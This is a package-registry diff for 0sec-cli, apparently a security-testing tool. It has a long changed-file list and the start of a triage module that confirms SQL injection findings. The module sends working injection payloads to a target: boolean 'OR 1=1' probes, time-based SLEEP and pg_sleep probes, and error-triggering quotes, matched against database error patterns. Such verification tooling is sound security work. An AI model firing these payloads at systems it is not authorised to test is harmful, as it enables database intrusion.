0sec-cli 0.22.4 → 0.24.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0.js +73 -68
- package/README.md +95 -61
- package/chunks/{adapt-loop-3CCOWE43.js → adapt-loop-TEJPXWFG.js} +4 -4
- package/chunks/{artifact-scraper-Z4UUIOH3.js → artifact-scraper-AJZ3LOQY.js} +2 -2
- package/chunks/{assumption-mining-2UAKQB6V.js → assumption-mining-EATDC4BB.js} +18 -18
- package/chunks/backend-connections-QE4NASAK.js +23 -0
- package/chunks/chunk-3XLEDCFX.js +566 -0
- package/chunks/{chunk-BGX53365.js → chunk-3XLFB46W.js} +5 -3
- package/chunks/{chunk-IXAHQICR.js → chunk-4TUR47H5.js} +8 -3
- package/chunks/{chunk-5WAJGLCW.js → chunk-4YRXIVPZ.js} +3 -3
- package/chunks/{chunk-4ZYYX5GY.js → chunk-52AWIBCT.js} +1 -1
- package/chunks/{chunk-TO35Y326.js → chunk-554D4AYM.js} +5 -2
- package/chunks/{chunk-GQ3DGHWE.js → chunk-5FHFG5P2.js} +174 -710
- package/chunks/chunk-5POT5OYF.js +733 -0
- package/chunks/chunk-62PGWN7Y.js +700 -0
- package/chunks/{chunk-H6Q2QAIY.js → chunk-A3EKBUEM.js} +1424 -859
- package/chunks/{chunk-6WQDXWQC.js → chunk-A6AZZ6XX.js} +2 -2
- package/chunks/{chunk-6YZE552K.js → chunk-AV5BF4V7.js} +1281 -2580
- package/chunks/{chunk-2WWAPKAW.js → chunk-BIJPMYFA.js} +6 -6
- package/chunks/{chunk-SCWWLABR.js → chunk-CIMN2AO6.js} +1 -1
- package/chunks/{chunk-H4DH7COV.js → chunk-CSPF47S3.js} +30 -20
- package/chunks/{chunk-RCRTSKQN.js → chunk-DNV3ZMPX.js} +1 -1
- package/chunks/{chunk-GVY3S5E5.js → chunk-E42XEJTK.js} +2 -2
- package/chunks/{chunk-VDOWARMJ.js → chunk-ESM447R6.js} +15 -1
- package/chunks/{chunk-WBRGXCU2.js → chunk-EXTN4SQV.js} +1 -1
- package/chunks/{chunk-QVIRWJ45.js → chunk-EYBMTELO.js} +108 -24
- package/chunks/chunk-FEOPHBMY.js +56 -0
- package/chunks/{chunk-IHPTOTLL.js → chunk-FKGFHLLS.js} +1 -1
- package/chunks/chunk-G2EJ3R5I.js +5198 -0
- package/chunks/chunk-GHEBZKUS.js +5417 -0
- package/chunks/chunk-GNR3APR6.js +295 -0
- package/chunks/{chunk-ELI3BVIK.js → chunk-H76JYUPE.js} +3 -3
- package/chunks/{chunk-E74LXQFY.js → chunk-HRBOZBMC.js} +1 -1
- package/chunks/{chunk-TM74SSHC.js → chunk-IIBNQTOK.js} +3 -2
- package/chunks/{chunk-UELXHK2Y.js → chunk-IK27KMVV.js} +16 -5
- package/chunks/{chunk-WHUAUFSX.js → chunk-J6G73WYF.js} +1 -1
- package/chunks/chunk-JSTLXPJS.js +284 -0
- package/chunks/{chunk-G2BE2FC7.js → chunk-O3ADFN2A.js} +1 -1
- package/chunks/chunk-O7Q2G2KW.js +117 -0
- package/chunks/{chunk-XODDLNBI.js → chunk-QEA2VHBD.js} +284 -33
- package/chunks/{chunk-C6JPA32H.js → chunk-RBOMXUYL.js} +3 -111
- package/chunks/{chunk-L2CCO4KE.js → chunk-RCHAFSWS.js} +838 -39
- package/chunks/{chunk-3BPX75OR.js → chunk-RD4FKFWR.js} +1 -1
- package/chunks/{chunk-DPUXXMJW.js → chunk-RPTO5FY2.js} +1 -1
- package/chunks/{chunk-6KFB6AYN.js → chunk-RZR2XXAK.js} +531 -17
- package/chunks/chunk-SGILXLR3.js +289 -0
- package/chunks/{chunk-E3OOBVOK.js → chunk-TOAAYJVN.js} +2 -2
- package/chunks/chunk-TOFIGQ63.js +83 -0
- package/chunks/{chunk-QWK4R3DB.js → chunk-TTDFBFNZ.js} +6 -6
- package/chunks/chunk-TZRHWP7R.js +736 -0
- package/chunks/chunk-UHUW45S3.js +164 -0
- package/chunks/{chunk-5JNTMWPK.js → chunk-V4BD7GSP.js} +2 -2
- package/chunks/{chunk-OAS5SAVZ.js → chunk-V5I5GAQH.js} +3226 -1683
- package/chunks/{chunk-PS5E7LUQ.js → chunk-W6IYTSZH.js} +79 -9
- package/chunks/{chunk-RTBZ36BD.js → chunk-WUPN3D37.js} +22 -248
- package/chunks/{chunk-CF3MNS3O.js → chunk-Y7KV7WV6.js} +2 -2
- package/chunks/{chunk-2OQOQ2FZ.js → chunk-YERUDEXT.js} +763 -688
- package/chunks/{chunk-CPCHLL6A.js → chunk-YJU7QACE.js} +1 -1
- package/chunks/{chunk-YED25PA4.js → chunk-YORL5S5V.js} +1 -1
- package/chunks/{chunk-YAZARMJY.js → chunk-YYOQADBB.js} +4 -3
- package/chunks/chunk-ZPFBQ3SD.js +127 -0
- package/chunks/{codex-models-Z43V3427.js → codex-models-FQPCWRPC.js} +7 -7
- package/chunks/{commands-EUGF4FUZ.js → commands-I5L3VD2A.js} +6187 -12196
- package/chunks/dashboard-B2AEGCFM.js +76 -0
- package/chunks/{db-NVAW4WWR.js → db-P5EIKMLP.js} +3 -3
- package/chunks/deep-review-I7RD5QSS.js +82 -0
- package/chunks/{disclose-LDNKAVRH.js → disclose-PFBWESVJ.js} +4 -2
- package/chunks/{dist-7RUOKPRJ.js → dist-3SWWY5FZ.js} +18 -2
- package/chunks/{dist-27BNG6WD.js → dist-AJU25UXA.js} +112 -63
- package/chunks/{dist-NG2HT5XU.js → dist-VK2M4HNW.js} +85 -1
- package/chunks/eval-runner-XVRX3R2Y.js +31 -0
- package/chunks/{exploit-agent-FCCR2HYX.js → exploit-agent-A4RTIJ4J.js} +1 -1
- package/chunks/{exploit-autoclimb-X5ZS5FAO.js → exploit-autoclimb-ABMMBC3M.js} +1 -1
- package/chunks/{exploit-climb-3JHGEO36.js → exploit-climb-BQ2SVU63.js} +2 -2
- package/chunks/{fix-NSNPU33B.js → fix-4YCLHFDT.js} +7 -7
- package/chunks/{harness-KXQOVIDQ.js → harness-DHWULEIZ.js} +3 -3
- package/chunks/{hunt-scan-ELTKGKC4.js → hunt-scan-DXV5H6YN.js} +16 -16
- package/chunks/{kernel-primitive-MT7YZSIG.js → kernel-primitive-SF4NALVR.js} +2 -2
- package/chunks/{kernel-vm-runner-YFRHYC6G.js → kernel-vm-runner-WEBEZEIC.js} +2 -2
- package/chunks/local-engine-XUG7XRKM.js +21 -0
- package/chunks/managed-operation-SQFMBWHG.js +60 -0
- package/chunks/{memsafety-scan-FCPAXIZE.js → memsafety-scan-L2Z7E7TE.js} +2 -2
- package/chunks/{native-loop-OFJDRHPI.js → native-loop-ZNAELJGB.js} +14 -13
- package/chunks/orchestrate-YHFJXGID.js +63 -0
- package/chunks/{prepare-72GWTRVI.js → prepare-SODWQN6O.js} +5 -5
- package/chunks/provider-model-discovery-QGUGL3XW.js +277 -0
- package/chunks/remote-workflow-runtime-XNNGI2PG.js +12 -0
- package/chunks/{run-WTJCZZHV.js → run-5T4Z3Q2D.js} +924 -327
- package/chunks/{runtime-LCJ4XSKE.js → runtime-HFFRUOPL.js} +4 -2
- package/chunks/{runtime-FCKOUB7V.js → runtime-MB4GEFBY.js} +7 -7
- package/chunks/{scan-stream-GT6GKQ3U.js → scan-stream-GXBJHCDF.js} +3 -2
- package/chunks/{scope-E5QZUOOH.js → scope-M7L3CD6X.js} +2 -2
- package/chunks/service-plugins-BGS6QKSZ.js +64 -0
- package/chunks/{session-store-H3Q7KCYG.js → session-store-K7I4GLNH.js} +2 -2
- package/chunks/{variant-candidates-SZKDCOLK.js → variant-candidates-2KSP5EHH.js} +7 -7
- package/chunks/{web-recon-prepass-IO3GXQMW.js → web-recon-prepass-RAXXTEWH.js} +5 -5
- package/chunks/workflow-runtime-V26HIJO3.js +178 -0
- package/dashboard/assets/abnfDiagram-VCTEODGH-CGCueOp5.js +1 -0
- package/dashboard/assets/arc-BjZaQcCc.js +1 -0
- package/dashboard/assets/architecture-7GRP2DOG-hcbO-9zX.js +1 -0
- package/dashboard/assets/architectureDiagram-5GKGNRK7-DReOXTSq.js +36 -0
- package/dashboard/assets/array-BifhSqXX.js +1 -0
- package/dashboard/assets/blockDiagram-I7D4REHJ-C-byT12_.js +129 -0
- package/dashboard/assets/c4Diagram-7LVT6UL2-DoYjz-Uv.js +38 -0
- package/dashboard/assets/channel-CUURBnpZ.js +1 -0
- package/dashboard/assets/chunk-2Q5K7J3B-C1jixKkw.js +1 -0
- package/dashboard/assets/chunk-4HAMMTFA-NBNp2zdt.js +62 -0
- package/dashboard/assets/chunk-5VM5RSS4-ZNzvKenW.js +15 -0
- package/dashboard/assets/chunk-75Z2AOVW-BHmkuP0B.js +2 -0
- package/dashboard/assets/chunk-DU6HZSFF-DgfLNaL2.js +127 -0
- package/dashboard/assets/chunk-F27PBJKO-3wwNFUgZ.js +1 -0
- package/dashboard/assets/chunk-FOHPRMQF-DHwB1DNv.js +161 -0
- package/dashboard/assets/chunk-GMAD6QVW-Btg7huZW.js +72 -0
- package/dashboard/assets/chunk-GVQU2GXP-ihCURK5O.js +1 -0
- package/dashboard/assets/chunk-IMKFNOWR-FsXj7slg.js +231 -0
- package/dashboard/assets/chunk-JWPE2WC7-DVXcaiue.js +1 -0
- package/dashboard/assets/chunk-L3NEJ4N5-DorFIxJY.js +1 -0
- package/dashboard/assets/chunk-OSK3NFVY-DKun_KfC.js +10 -0
- package/dashboard/assets/chunk-P2QGCYS3-XGgiU1Bz.js +1 -0
- package/dashboard/assets/chunk-POPQ4Y6H-BTXEnGhJ.js +1 -0
- package/dashboard/assets/chunk-PWAF6VOD-DYZcGkTL.js +1 -0
- package/dashboard/assets/chunk-SHT3W25Y-C4WQfwf8.js +168 -0
- package/dashboard/assets/chunk-SVP7TREG-C4nCh0-1.js +88 -0
- package/dashboard/assets/chunk-TICWLB2K-DSB-IiGc.js +206 -0
- package/dashboard/assets/chunk-XXDRQBXY-CS6fjUcj.js +1 -0
- package/dashboard/assets/chunk-Y2CYZVJY-DsF7k-Jl.js +1 -0
- package/dashboard/assets/classDiagram-ZZMXUADV-CD1Buc26.js +1 -0
- package/dashboard/assets/classDiagram-v2-VYDZK3BY-CD1Buc26.js +1 -0
- package/dashboard/assets/common-BMdQBwfR.js +5 -0
- package/dashboard/assets/cose-bilkent-JH36ORCC-CUjQHTML.js +1 -0
- package/dashboard/assets/cynefin-OW5HDTMX-BC7zCtFq.js +1 -0
- package/dashboard/assets/cynefinDiagram-5FMLGOSQ-CgDOOY67.js +62 -0
- package/dashboard/assets/cytoscape.esm-CGd-uY3x.js +321 -0
- package/dashboard/assets/dagre-GXQ25YYZ-Dqc8FS9x.js +4 -0
- package/dashboard/assets/dagre-PrKaheQc.js +1 -0
- package/dashboard/assets/defaultLocale-BFoDCU3G.js +1 -0
- package/dashboard/assets/diagram-S7CK7UJ4-CrKqRXZb.js +30 -0
- package/dashboard/assets/diagram-UQ7AKVKN-Cu6Es0-v.js +41 -0
- package/dashboard/assets/diagram-VSXAHHWV-eK4d8FwS.js +3 -0
- package/dashboard/assets/diagram-VX7I27RA-bFxeFKOc.js +24 -0
- package/dashboard/assets/diagram-Z3DM3KII-C0ClmnhC.js +24 -0
- package/dashboard/assets/dist-BZh8Kb3O.js +1 -0
- package/dashboard/assets/ebnfDiagram-PWID7BFC-CUqxFPzf.js +1 -0
- package/dashboard/assets/erDiagram-RLTQ6QDP-CcYM7pLi.js +99 -0
- package/dashboard/assets/eventmodeling-NTZA5JFV-D8ZNnPkV.js +1 -0
- package/dashboard/assets/flowDiagram-HODETNUW-pDb1AYm8.js +1 -0
- package/dashboard/assets/ganttDiagram-EL5Y4UJY-UmZfbMyD.js +292 -0
- package/dashboard/assets/gitGraph-4MIJSDKK-mvNUo0ZA.js +1 -0
- package/dashboard/assets/gitGraphDiagram-WWUBYQGX-CvzeCxVy.js +106 -0
- package/dashboard/assets/graphlib-DS17s2tU.js +1 -0
- package/dashboard/assets/info-A6RAGUB7-DChKqZMi.js +1 -0
- package/dashboard/assets/infoDiagram-27XIBGKW-DjkpNtVW.js +2 -0
- package/dashboard/assets/init-C-OQMol4.js +1 -0
- package/dashboard/assets/ishikawaDiagram-5VMMS53U-8FhjJaWT.js +70 -0
- package/dashboard/assets/journeyDiagram-3NMN7TZE-DyNJ755f.js +139 -0
- package/dashboard/assets/kanban-definition-UXKFOSKX-_jCmtaY1.js +89 -0
- package/dashboard/assets/katex-BdBmVSus.js +257 -0
- package/dashboard/assets/line-Bf0nxyWf.js +1 -0
- package/dashboard/assets/linear-Bl6JKbf4.js +1 -0
- package/dashboard/assets/mermaid-parser.core-Cc6sgCzs.js +7 -0
- package/dashboard/assets/mermaid.core-B4yCwiN-.js +44 -0
- package/dashboard/assets/mindmap-definition-YA3MSWOX-D5DjWyXj.js +96 -0
- package/dashboard/assets/operations-B7JAWOi6.js +130 -0
- package/dashboard/assets/operations-QjKT0Hwi.css +1 -0
- package/dashboard/assets/ordinal-BDEzSJ7C.js +1 -0
- package/dashboard/assets/packet-AYTQ26CC-bQXLDhQC.js +1 -0
- package/dashboard/assets/path-fybaL0A-.js +1 -0
- package/dashboard/assets/pegDiagram-XKGWAZYB-Bf6a1vaf.js +1 -0
- package/dashboard/assets/pie-WAS4IAKB-DfzoABIi.js +1 -0
- package/dashboard/assets/pieDiagram-E7YTZNPT-D0L1qbch.js +39 -0
- package/dashboard/assets/quadrantDiagram-AXDQQJYC-CbFyy2Pe.js +7 -0
- package/dashboard/assets/radar-RG4KPBEZ-CZ2pyeUT.js +1 -0
- package/dashboard/assets/railroad-74A4TZTK-CP4Jazfd.js +1 -0
- package/dashboard/assets/railroad-abnf-HS5TGJTU-3MvEiHwD.js +1 -0
- package/dashboard/assets/railroad-ebnf-LZEXJU2U-BWto6cXE.js +1 -0
- package/dashboard/assets/railroad-peg-WCYAUIDC-DasEjbyf.js +1 -0
- package/dashboard/assets/railroadDiagram-O6MQD6OU-t7Gp9g2R.js +1 -0
- package/dashboard/assets/requirementDiagram-BXWQKSXE-LYmqeBXi.js +84 -0
- package/dashboard/assets/rough.esm-Dy-Kn_BL.js +1 -0
- package/dashboard/assets/sankeyDiagram-P5KCCOFB-DnpfA_94.js +40 -0
- package/dashboard/assets/sequenceDiagram-WJ2MYXX4-C8s3pTUE.js +162 -0
- package/dashboard/assets/sizeCapture-INFHLROL-B0uUizjq.js +1 -0
- package/dashboard/assets/src-CaNUT1AQ.js +1 -0
- package/dashboard/assets/stateDiagram-D77RDMKH-BMzm6fK1.js +1 -0
- package/dashboard/assets/stateDiagram-v2-MP3YSRHH-B3REMjpY.js +1 -0
- package/dashboard/assets/swimlanes-42K2YHIH-uJE05Tt_.js +1 -0
- package/dashboard/assets/swimlanesDiagram-VR7AAH4N-CIaVMZEy.js +8 -0
- package/dashboard/assets/timeline-definition-24CTP7MA-BfLJMVeG.js +120 -0
- package/dashboard/assets/treeView-Q6P3EWNA-ZOE2enu2.js +1 -0
- package/dashboard/assets/treemap-WGGIJYW6-yIZoPBF5.js +1 -0
- package/dashboard/assets/vennDiagram-4TSXK5OY-BYJRHEaL.js +34 -0
- package/dashboard/assets/wardley-WFR3VGLG-D5V-jLbB.js +1 -0
- package/dashboard/assets/wardleyDiagram-VM6X3IG4-DgPN4nSe.js +78 -0
- package/dashboard/assets/xychartDiagram-S5SC5T6Z-BhkAMAOT.js +7 -0
- package/dashboard/index.html +3 -3
- package/package.json +3 -2
- package/worker-assets/demo-target/README.md +15 -0
- package/worker-assets/demo-target/include/decoder.h +27 -0
- package/worker-assets/demo-target/patched-decoder.c +40 -0
- package/worker-assets/demo-target/src/decoder.c +50 -0
- package/worker-assets/demo-target/witness-65537x1.bin +0 -0
- package/chunks/chunk-FFHRANYC.js +0 -547
- package/chunks/eval-runner-6Q3H52SP.js +0 -30
- package/chunks/orchestrate-DRZ2SVCP.js +0 -62
- package/chunks/service-plugins-MSK2EQP6.js +0 -62
- package/dashboard/assets/operations-BvB5Qpmk.css +0 -1
- package/dashboard/assets/operations-D8Ii01SV.js +0 -114
- package/dashboard/assets/zero-peek-Dzm3MT3X.png +0 -0
|
@@ -2,145 +2,663 @@
|
|
|
2
2
|
import { createRequire as __0CreateRequire } from "node:module";
|
|
3
3
|
const require = __0CreateRequire(import.meta.url);
|
|
4
4
|
|
|
5
|
-
// packages/core/dist/
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
};
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
5
|
+
// packages/core/dist/triage/oracle-runtime.js
|
|
6
|
+
import { randomUUID } from "node:crypto";
|
|
7
|
+
import { createServer } from "node:http";
|
|
8
|
+
|
|
9
|
+
// packages/core/dist/triage/oracles.js
|
|
10
|
+
var DEFAULT_TIMEOUT_MS = 1e4;
|
|
11
|
+
function notVerifiable(reason) {
|
|
12
|
+
return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
|
|
13
|
+
}
|
|
14
|
+
function verified(evidence, confidence = 1) {
|
|
15
|
+
return { verified: true, confidence, evidence, reason: "" };
|
|
16
|
+
}
|
|
17
|
+
function parseRequest(requestText, fallbackTarget) {
|
|
18
|
+
const parsed = {
|
|
19
|
+
method: "GET",
|
|
20
|
+
url: fallbackTarget,
|
|
21
|
+
headers: {},
|
|
22
|
+
body: "",
|
|
23
|
+
params: {}
|
|
24
|
+
};
|
|
25
|
+
const parseFallbackQuery = () => {
|
|
26
|
+
try {
|
|
27
|
+
const u = new URL(parsed.url);
|
|
28
|
+
u.searchParams.forEach((v, k) => {
|
|
29
|
+
parsed.params[k] = v;
|
|
30
|
+
});
|
|
31
|
+
} catch {
|
|
32
|
+
}
|
|
33
|
+
};
|
|
34
|
+
if (!requestText) {
|
|
35
|
+
parseFallbackQuery();
|
|
36
|
+
return parsed;
|
|
19
37
|
}
|
|
20
|
-
|
|
21
|
-
|
|
38
|
+
requestText = requestText.replace(/\r\n/g, "\n");
|
|
39
|
+
const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
|
|
40
|
+
if (curlUrl)
|
|
41
|
+
parsed.url = curlUrl[1].replace(/['"]$/, "");
|
|
42
|
+
const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
|
|
43
|
+
if (curlMethod)
|
|
44
|
+
parsed.method = curlMethod[1].toUpperCase();
|
|
45
|
+
const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
|
|
46
|
+
if (curlData)
|
|
47
|
+
parsed.body = curlData[1];
|
|
48
|
+
const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
|
|
49
|
+
if (startLine) {
|
|
50
|
+
parsed.method = startLine[1].toUpperCase();
|
|
51
|
+
const path = startLine[2];
|
|
52
|
+
const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
|
|
53
|
+
if (/^https?:\/\//i.test(path)) {
|
|
54
|
+
parsed.url = path;
|
|
55
|
+
} else if (hostHeader) {
|
|
56
|
+
const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
|
|
57
|
+
parsed.url = `${scheme}://${hostHeader[1]}${path}`;
|
|
58
|
+
} else if (path.startsWith("/")) {
|
|
59
|
+
try {
|
|
60
|
+
const base = new URL(fallbackTarget);
|
|
61
|
+
parsed.url = `${base.origin}${path}`;
|
|
62
|
+
} catch {
|
|
63
|
+
parsed.url = path;
|
|
64
|
+
}
|
|
65
|
+
} else {
|
|
66
|
+
parsed.url = path;
|
|
67
|
+
}
|
|
68
|
+
const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
|
|
69
|
+
for (const line of headerBlock.split("\n").slice(1)) {
|
|
70
|
+
const colon = line.indexOf(":");
|
|
71
|
+
if (colon > 0) {
|
|
72
|
+
const name = line.slice(0, colon).trim().toLowerCase();
|
|
73
|
+
if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
|
|
74
|
+
parsed.headers[name] = line.slice(colon + 1).trim();
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
const sep = requestText.indexOf("\n\n");
|
|
79
|
+
if (sep >= 0)
|
|
80
|
+
parsed.body = requestText.slice(sep + 2);
|
|
22
81
|
}
|
|
23
|
-
|
|
82
|
+
try {
|
|
83
|
+
const u = new URL(parsed.url);
|
|
84
|
+
u.searchParams.forEach((v, k) => {
|
|
85
|
+
parsed.params[k] = v;
|
|
86
|
+
});
|
|
87
|
+
} catch {
|
|
88
|
+
}
|
|
89
|
+
if (parsed.body.trimStart().startsWith("{")) {
|
|
90
|
+
try {
|
|
91
|
+
const json = JSON.parse(parsed.body);
|
|
92
|
+
for (const [key, value] of Object.entries(json)) {
|
|
93
|
+
if (typeof value === "string" || typeof value === "number")
|
|
94
|
+
parsed.params[key] = String(value);
|
|
95
|
+
}
|
|
96
|
+
} catch {
|
|
97
|
+
}
|
|
98
|
+
} else if (parsed.body.includes("=")) {
|
|
99
|
+
new URLSearchParams(parsed.body).forEach((value, key) => {
|
|
100
|
+
parsed.params[key] = value;
|
|
101
|
+
});
|
|
102
|
+
}
|
|
103
|
+
return parsed;
|
|
24
104
|
}
|
|
25
|
-
function
|
|
26
|
-
const
|
|
27
|
-
|
|
28
|
-
|
|
105
|
+
function buildProbeRequest(parsed, newParams) {
|
|
106
|
+
const method = parsed.method || "GET";
|
|
107
|
+
const init = { method, headers: { ...parsed.headers } };
|
|
108
|
+
const url = new URL(parsed.url);
|
|
109
|
+
let json;
|
|
110
|
+
if (parsed.body.trimStart().startsWith("{")) {
|
|
111
|
+
try {
|
|
112
|
+
json = JSON.parse(parsed.body);
|
|
113
|
+
} catch {
|
|
114
|
+
}
|
|
29
115
|
}
|
|
30
|
-
|
|
31
|
-
|
|
116
|
+
const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
|
|
117
|
+
for (const [key, value] of Object.entries(newParams)) {
|
|
118
|
+
if (method !== "GET" && json && Object.hasOwn(json, key))
|
|
119
|
+
json[key] = value;
|
|
120
|
+
else if (method !== "GET" && form?.has(key))
|
|
121
|
+
form.set(key, value);
|
|
122
|
+
else
|
|
123
|
+
url.searchParams.set(key, value);
|
|
32
124
|
}
|
|
33
|
-
if (
|
|
34
|
-
|
|
125
|
+
if (method !== "GET") {
|
|
126
|
+
init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
|
|
127
|
+
if (json)
|
|
128
|
+
init.headers = { "content-type": "application/json", ...parsed.headers };
|
|
129
|
+
else if (form)
|
|
130
|
+
init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
|
|
35
131
|
}
|
|
36
|
-
|
|
37
|
-
|
|
132
|
+
return { url: url.toString(), init };
|
|
133
|
+
}
|
|
134
|
+
async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
|
|
135
|
+
const controller = new AbortController();
|
|
136
|
+
const timer = setTimeout(() => controller.abort(), timeoutMs);
|
|
137
|
+
const start = Date.now();
|
|
138
|
+
try {
|
|
139
|
+
const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
|
|
140
|
+
const body = await res.text();
|
|
141
|
+
return { status: res.status, body, latencyMs: Date.now() - start };
|
|
142
|
+
} catch {
|
|
143
|
+
return null;
|
|
144
|
+
} finally {
|
|
145
|
+
clearTimeout(timer);
|
|
38
146
|
}
|
|
39
|
-
return { kind: "undefined-behavior", category: "other" };
|
|
40
147
|
}
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
148
|
+
var SQL_ERROR_PATTERNS = [
|
|
149
|
+
// MySQL
|
|
150
|
+
/You have an error in your SQL syntax/i,
|
|
151
|
+
/\bmysql_fetch_/i,
|
|
152
|
+
/\bMySQLSyntaxErrorException\b/i,
|
|
153
|
+
/\bMariaDB\b.*?\bsyntax\b/i,
|
|
154
|
+
// PostgreSQL
|
|
155
|
+
/\bPG::SyntaxError\b/i,
|
|
156
|
+
/\bpq:\s+syntax error\b/i,
|
|
157
|
+
/\bpsql:.*?ERROR:/i,
|
|
158
|
+
/unterminated quoted string/i,
|
|
159
|
+
// SQLite
|
|
160
|
+
/\bSQLite3::/i,
|
|
161
|
+
/\bsqlite3\.OperationalError\b/i,
|
|
162
|
+
/near\s+".+?":\s*syntax error/i,
|
|
163
|
+
// MSSQL
|
|
164
|
+
/\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
|
|
165
|
+
/\bUnclosed quotation mark\b/i,
|
|
166
|
+
/\bOLE DB.*?SQL Server\b/i,
|
|
167
|
+
// Oracle
|
|
168
|
+
/\bORA-\d{4,5}\b/i,
|
|
169
|
+
/\bquoted string not properly terminated\b/i
|
|
170
|
+
];
|
|
171
|
+
function detectSqlError(body) {
|
|
172
|
+
for (const re of SQL_ERROR_PATTERNS) {
|
|
173
|
+
const m = body.match(re);
|
|
174
|
+
if (m)
|
|
175
|
+
return m[0];
|
|
176
|
+
}
|
|
177
|
+
return null;
|
|
49
178
|
}
|
|
50
|
-
function
|
|
51
|
-
const
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
while ((match = frameRegex.exec(text)) !== null) {
|
|
55
|
-
frames.push({
|
|
56
|
-
functionName: match[1],
|
|
57
|
-
file: match[2],
|
|
58
|
-
line: Number(match[3])
|
|
59
|
-
});
|
|
179
|
+
function pickInjectableParam(parsed) {
|
|
180
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
181
|
+
if (v && v.length > 0)
|
|
182
|
+
return { key: k, value: v };
|
|
60
183
|
}
|
|
61
|
-
|
|
184
|
+
const first = Object.keys(parsed.params)[0];
|
|
185
|
+
if (first)
|
|
186
|
+
return { key: first, value: parsed.params[first] ?? "" };
|
|
187
|
+
return null;
|
|
62
188
|
}
|
|
63
|
-
function
|
|
64
|
-
const
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
const
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
189
|
+
async function verifySqli(finding, target, context = {}) {
|
|
190
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
191
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
192
|
+
const victim = pickInjectableParam(parsed);
|
|
193
|
+
if (!victim)
|
|
194
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
195
|
+
const signals = [];
|
|
196
|
+
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
|
|
197
|
+
if (!baseline)
|
|
198
|
+
return notVerifiable("baseline request failed");
|
|
199
|
+
const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
|
|
200
|
+
const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
|
|
201
|
+
if (trueProbe && falseProbe && trueProbe.body.length > 0) {
|
|
202
|
+
const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
|
|
203
|
+
if (delta > 0.1) {
|
|
204
|
+
signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
|
|
205
|
+
}
|
|
206
|
+
}
|
|
207
|
+
const timePayloads = [
|
|
208
|
+
`${victim.value}' AND SLEEP(3)-- -`,
|
|
209
|
+
`${victim.value}'; SELECT pg_sleep(3)-- -`,
|
|
210
|
+
`${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
|
|
211
|
+
];
|
|
212
|
+
for (const payload of timePayloads) {
|
|
213
|
+
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
|
|
214
|
+
if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
|
|
215
|
+
signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
|
|
216
|
+
break;
|
|
217
|
+
}
|
|
218
|
+
}
|
|
219
|
+
const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
|
|
220
|
+
if (errProbe) {
|
|
221
|
+
const err = detectSqlError(errProbe.body);
|
|
222
|
+
if (err)
|
|
223
|
+
signals.push(`sql_error: ${err}`);
|
|
224
|
+
}
|
|
225
|
+
if (signals.length >= 2) {
|
|
226
|
+
return verified(signals.join(" | "));
|
|
76
227
|
}
|
|
77
|
-
const allocMatch = text.match(/\b(\d+)-byte region\b/i);
|
|
78
|
-
const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
|
|
79
228
|
return {
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
sourceFile,
|
|
85
|
-
sourceLine,
|
|
86
|
-
allocSize,
|
|
87
|
-
accessSize,
|
|
88
|
-
summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
|
|
89
|
-
frames
|
|
229
|
+
verified: false,
|
|
230
|
+
confidence: signals.length === 1 ? 0.4 : 0,
|
|
231
|
+
evidence: signals.join(" | "),
|
|
232
|
+
